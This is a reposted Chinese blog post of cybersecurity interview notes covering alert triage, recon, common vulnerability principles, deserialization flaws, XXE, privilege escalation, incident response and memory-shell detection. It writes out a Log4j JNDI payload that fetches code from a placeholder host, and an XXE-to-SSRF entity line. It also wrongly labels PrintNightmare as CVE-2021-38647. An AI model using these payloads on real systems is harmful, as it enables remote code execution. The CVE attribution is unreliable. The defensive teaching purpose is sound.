面试的一些心得

admin 2026-10-04 04:46:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文总结了网络安全面试中常见的问题,包括态势感知设备告警处理、渗透测试步骤、资产打点方法、常见漏洞原理、SSRF和CSRF的区别、XXE利用、内网提权方法、冰蝎流量特征、应急响应步骤、Linux常用命令、删除日志处理、内存马查杀、挖矿木马和勒索病毒事件汇报等。 综合评分: 85 文章分类: 渗透测试,代码审计,应急响应,漏洞分析,威胁情报


面试的一些心得

原创

Domren Domren

网安智界

2026年10月1日 19:17 浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

最近失业了,所以一直在投简历、面试的过程中循环,有很多面试官高频提到的问题,所以整理一下,放出来供大家参考。

1、态势感知设备遇到大量告警,你要怎么处理?

思路:告警闭环运营思路:先聚合过滤,重点做误报治理,再分级处置,最后闭环优化。误报要处理,但不能一刀切。

当态势感知产生大量告警时,遵循告警闭环运营思路处理:首先检查态势感知平台和日志采集链路,排除采集异常引发的虚假告警风暴;再基于五元组(源IP地址、源端口、目的IP地址、目的端口、传输层协议)、时间窗口、告警规则聚合告警,将海量告警合并为安全事件;然后开展误报治理,误报不能一刀切删除,结合原始日志、业务资产上下文核验,通过调规则、加白名单等方式抑制,所有变更审批留痕并定期复审;接着依据资产价值、置信度、攻击阶段分级研判,优先处置核心资产高危事件,联动安全设备处置并留存证据;最后复盘优化规则与自动化剧本,持续平衡误报和漏报,形成运营闭环。

2、渗透测试的步骤

授权→信息收集→攻击面分析→漏洞验证→渗透利用→后渗透→清理→报告→复测

3、资产打点的方法

1.被动收集,先不碰目标

通过Whois、ICP备案、DNS记录、证书透明日志、搜索引擎、空间测绘引擎、GitHub、网盘、招聘信息、公众号、小程序、APP、供应链、邮箱和泄露数据等,收集域名、IP、子域名、人员、技术栈和关联资产。特点是隐蔽、不易被发现。

2.主动探测,确认存活和暴露面

在授权和限速前提下,做子域名枚举、C段/旁站探测、端口扫描、服务识别、Web爬虫、目录扫描、JS分析提取接口、API文档发现、参数发现、登录入口、后台、VPN、OA、测试环境等。重点不是“扫得多”,而是“扫得准”。

3.指纹识别和关联拓线

识别操作系统、中间件、框架、CMS、语言、版本、WAF、CDN等。再通过同一证书、同一IP、同一C段、同一favicon、同一统计代码、同一邮箱、同一备案主体等,把关联资产拓出来。

4.打点标记,形成资产台账

对每个资产记录:域名/IP、端口、服务、指纹、归属、重要性、是否外网、认证方式、风险线索。然后按核心资产、外网暴露、高危服务、弱口令入口、已知漏洞线索排优先级。

一句话:被动收集→主动探测→指纹识别→关联拓线→台账标记→风险排序。

4、一些常规漏洞的原理

1.SQL原理:网站未对用户输入做过滤、转义,直接将可控用户输入拼接进SQL语句执行,攻击者可闭合原有SQL逻辑,篡改查询语句,实现脱库、查数据、读写文件、提权等操作。

修复:1.优先使用预编译语句、参数化查询,把用户输入当做参数值,不再参与SQL语法解析,从根源防止注入;2.数据库账号最小权限原则,web连接数据库账号不要授予file、super等高权限;3.关闭Web应用数据库错误详情回显,防止攻击者通过报错获取表结构信息;4.输入校验:对业务参数做白名单校验(数字、固定字符串),不要只依赖黑名单过滤;5.部署WAF作为辅助防护,拦截注入特征流量。

2.XSS原理:前端未对用户输入的恶意JS代码做过滤、转义,导致恶意代码被浏览器解析执行,实现窃取Cookie、劫持会话、钓鱼、挂马等攻击。

修复:输入输出转义、CSP策略、CookieHttpOnly、过滤特殊字符。

3.反序列化(fastjson、shiro、log4j2、WebLogic)

通用反序列化漏洞底层原理:程序把序列化后的字节/字符串数据还原成对象。攻击者可控反序列化数据,在对象重建过程中自动调用readObject()等方法,通过构造恶意调用链(Gadget),执行任意代码、命令执行。

Fastjson反序列化

原理:Fastjson解析JSON时,支持通过@type指定要实例化的Java类。未开启安全限制时,攻击者传入带@type的恶意JSON,自动实例化危险类,触发Gadget实现远程代码执行。

关键点:@type是核心;autoType关闭可防护,低版本默认开启。

修复:升级版本;开启autoType黑名单;禁止反序列化不可信输入。

Shiro反序列化(ApacheShiro)

原理:Shiro的RememberMe功能,用户登录后的身份信息会序列化并加密存在Cookie。如果服务器密钥(shiro.cookie.cipherKey)泄露,攻击者可以自行构造恶意序列化对象,加密后放入RememberMeCookie;服务端解密并反序列化,触发Gadget执行命令。

关键点:密钥泄露,不需要登录账号;Cookie字段rememberMe。

修复:升级Shiro;使用强随机密钥;关闭RememberMe(不需要时)。

Log4j2(CVE-2021-44228,Log4j远程代码执行)

原理:Log4j2在记录日志时,会解析${}表达式。攻击者输入${jndi:ldap://xxx/evil},日志框架会去访问外部LDAP服务器,加载远程恶意Java类,执行任意代码。

关键点:JNDI查找,不是传统Java反序列化,但面试经常放在同一组漏洞。

修复:升级Log4j2;设置log4j2.formatMsgNoLookups=true关闭JNDI表达式解析。

WebLogic反序列化(T3协议)

原理:WebLogic开放T3协议端口(默认7001),T3协议传输Java序列化对象。攻击者发送恶意序列化数据到T3端口,WebLogic接收后直接反序列化,触发Gadget实现RCE。经典CVE:CVE-2018-2628、CVE-2019-2725。

关键点:T3协议,7001端口;不需要账号,只要能访问T3端口。

修复:升级WebLogic;限制T3端口访问IP白名单;禁用不必要的T3协议。

区分

1.Fastjson:JSON解析+@type,Java序列化Gadget

2.Shiro:RememberMeCookie加密序列化,密钥泄露是前提

3.Log4j2:JNDI表达式注入

4.WebLogic:T3协议传输序列化对象,端口7001

4.SSRF和CSRF的区别

SSRF服务端请求伪造

原理:服务器主动发起请求的接口,未校验请求目标地址,攻击者可控参数让服务器向内网、本地、外网发起请求。

危害:扫描内网端口、探测内网资产、读取本地文件、攻击内网服务、反弹内网机器。

CSRF跨站请求伪造

原理:利用用户已登录的浏览器会话Cookie,诱导用户访问恶意页面,冒用用户身份发起非法请求(改密、转账、改配置)。

核心区别:1、发起主体不同:SSRF是服务器发请求;CSRF是用户浏览器发请求。2、攻击目标不同:SSRF打内网/本地服务;CSRF打用户当前登录的网站。3、依赖条件不同:SSRF无需用户登录;CSRF必须依赖用户登录会话。4、防护不同:SSRF校验白名单域名/拦截内网IP;CSRF用Token、Referer校验、SameSiteCookie。

5.XXE

原理:XML 文档可以定义 DTD(文档类型定义),DTD 中可声明实体。外部实体通过 SYSTEM 或 PUBLIC 关键字引用外部资源。如果解析器未禁用外部实体,攻击者就能控制实体内容,让服务器去读取文件或访问内网。

利用方式

直接实体:,在 XML 中引用 &xxe;。

参数实体:用于盲 XXE,通过外部 DTD 外带数据。

盲XXE:服务器不回显,但可通过外部 DTD 将数据发送到攻击者服务器。

XXEto SSRF:<!ENTITY xxe SYSTEM “http://internal/”),让服务器访问内网。

报错型XXE:利用错误信息回显文件内容。

修复:禁用外部实体;使用安全的XML 解析库和配置;过滤用户输入的 <!DOCTYPE、<!ENTITY 等关键字;不解析不可信 XML,尽量用 JSON 替代;部署 WAF 拦截 XXE 特征;最小权限运行服务,限制文件读取和内网访问。

5、内网提权的一些方法

Windows提权

1.系统内核漏洞提权:利用操作系统未打补丁漏洞,如MS17-010永恒之蓝、PrintNightmare打印机漏洞CVE-2021-38647,溢出获取系统权限。

2.服务配置不当提权:服务可执行文件权限过大(普通用户可修改exe)、服务路径带空格无引号,普通用户替换程序,服务重启时以system权限执行。

3.计划任务提权:定时任务调用的脚本/文件普通用户可写,写入恶意代码,等待任务执行拿到高权限。

4.注册表权限不当提权:某些服务注册表项普通用户可修改,替换执行路径。

5.令牌窃取提权:窃取高权限进程令牌(如winlogon),直接复用System权限。

6.数据库/应用账号提权:Mysql、mssqlsa账号权限过高,执行xp_cmdshell等存储过程拿系统权限。

7.敏感信息泄露:读取配置文件、注册表保存的明文密码,远程登录管理员账号。

Linux提权

1.内核漏洞提权:操作系统内核未更新,利用内核漏洞(如DirtyCOW脏牛)直接提权root。

2.SUID/SGID程序提权:程序设置SUID权限,运行时属主权限。找到可执行SUID程序,利用其特性读取文件、执行命令。

3.Sudo权限不当提权:当前用户sudo配置允许执行部分危险命令(vim、find、tar等),可逃逸拿到rootshell。

4.计划任务(Crontab)提权:root定时任务调用的脚本普通用户可写,写入恶意代码,等待定时执行获取root。

5.敏感文件泄露:读取/etc/passwd、shadow、各类应用配置文件中的数据库/ssh明文密码。

6.环境变量提权:PATH环境变量可控,劫持程序调用的自定义命令。

7.容器逃逸提权:docker/k8s配置不当,从容器逃逸获取宿主机权限。

6、冰蝎的流量特征

冰蝎区别于菜刀,菜刀是 base64 明文编码,冰蝎是 AES 二进制动态加密,抗静态特征检测。

7、应急响应的步骤

Win、Linux

确认失陷:根据告警、EDR、日志、异常进程等判断是否真实失陷,确认影响范围。

立即网络隔离:拔网线、禁用网卡、EDR 网络隔离、防火墙阻断。

不要直接关机或重启,保持主机运行,便于取证。

保存易失证据:保存内存、进程、网络连接、登录会话、计划任务、服务、启动项、日志。

排查重点

账号:看新增、隐藏、异常管理员。

进程服务:异常路径、无签名、可疑父进程。

网络:异常外连、监听端口,关联PID。

启动项和计划任务:注册表Run、计划任务、服务。

日志:安全日志4624/4625/4720/4672,PowerShell 日志。

文件:临时目录、下载目录、Web 目录、最近修改文件。

清除恢复:杀进程、删文件、禁用账号、删计划任务、清启动项、改密、打补丁。确认干净后恢复网络,持续监控。

复盘整改:查根因、影响范围、入口,补漏洞,优化规则和流程。

8、linux的一些常用命令

计划任务、进程、网络连接、用户

cat /etc/passwd            用户列表

ps -ef                           查看全量进程

kill -9 PID                     强制杀死进程

lsof -p PID                    查看进程打开的文件

netstat -antlp                查看TCP/UDP连接,监听端口,对应进程

crontab -l                     查看当前用户计划任务

history                         查看执行命令历史

9、liunux中的本地命令记录和日志被删除了怎么办

做内存和磁盘镜像。然后转向远程日志、SIEM、堡垒机、网络设备、应用日志和 auditd、wtmp 等系统痕迹。再从内存和磁盘镜像恢复被删文件,结合文件时间线和网络流量重建攻击链。

进程句柄恢复:如果日志文件被删但进程还在写,lsof | grep deleted 找到 PID 和 FD,然后 cp /proc//fd/ /recovered.log。

journald:journalctl 查看,检查 /var/log/journal、/run/log/journal,二进制日志可能还在。

远程日志:查 rsyslog/syslog-ng 是否转发到远程日志服务器、SIEM、态势感知、EDR、HIDS。

备份和快照:从备份、虚拟机快照、存储快照恢复。

文件系统恢复:在磁盘镜像上用 extundelete、ext4magic、debugfs、testdisk、photorec 尝试恢复,但不要在原盘直接操作。

其他日志源:auditd、wtmp、btmp、lastlog、bash_history、Web/应用/数据库日志、dmesg,这些可能没被删。

10、内存马的查杀

原理:攻击者利用漏洞执行代码后,动态创建一个恶意Filter 或 Servlet,并把它注册到容器的请求处理链中。之后所有符合条件的请求都会先经过这个恶意组件,攻击者就能通过特定参数执行命令、上传文件、连接 C2。因为组件在内存中,不写文件,所以叫“内存马”。

常见类型

Java内存马:Filter型、Servlet型、Listener型、Interceptor型(Spring)、Agent型(基于Instrumentation动态修改字节码)。

PHP内存马:通常利用php://input、auto_prepend_file、.user.ini或扩展机制,但很多仍需文件配合,纯内存较少。

.NET内存马:通过动态注册HttpModule、HttpHandler实现。

冰蝎/哥斯拉内存马:冰蝎、哥斯拉等工具支持注入内存马,流量加密,隐蔽性强。

检测方法

内存取证:使用工具检查动态注册的Filter、Servlet、Listener。

对比基线:对比正常服务的组件列表,发现多出的Filter/Servlet。

1.检查是否存在对应的Class文件(最关键的一步)

内存马通常不会在磁盘上留下对应的class文件

2.检查类加载器(ClassLoader)

重点关注那些由自定义ClassLoader加载,或来源不明的类。可以对比同一应用中其他正常类的ClassLoader来发现异常。

3.检查配置注册信息

在内存中枚举到的所有组件列表,与web.xml、框架配置文件中的注册项进行比对。内存中有、配置中没有的组件是高度可疑的。

4.检查类名与映射路径

Filter型内存马常将拦截路径设置为/*,以拦截所有流量;Servlet型内存马可能映射到一个随机或可疑的路径(如/shell、/cmd)。

5.反编译并审计代码逻辑

当上述方法指向可疑时,必须通过反编译字节码来最终确认。

6.行为监控

行为监控:监控JVM是否频繁执行命令或出现异常外连。

11、当发生了一次挖矿木马事件或者勒索病毒事件,你要怎么跟领导汇报

领导,汇报本次挖矿木马事件:X时发现服务器CPU异常、外联矿池,确认感染挖矿木马,影响X台服务器,均为非核心业务,业务轻微卡顿,暂未发现数据泄露。我们已隔离主机、封禁矿池IP和域名、清除恶意进程及持久化项,攻击已阻断,事件扩散受控,已保留日志和样本,根因仍在排查确认。后续一周内修复入侵入口、排查同类资产,增加相关拦截与告警,处置完毕提交复盘报告。建议观察24小时无异常后恢复主机,需您确认恢复窗口及合规上报事宜,有进展我及时向您同步。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:网安智界 Domren Domren《面试的一些心得》

面试的一些心得 网络安全文章

面试的一些心得

文章总结: 本文总结了网络安全面试中常见的问题,包括态势感知设备告警处理、渗透测试步骤、资产打点方法、常见漏洞原理、SSRF和CSRF的区别、XXE利用、内网提
评论:0   参与:  0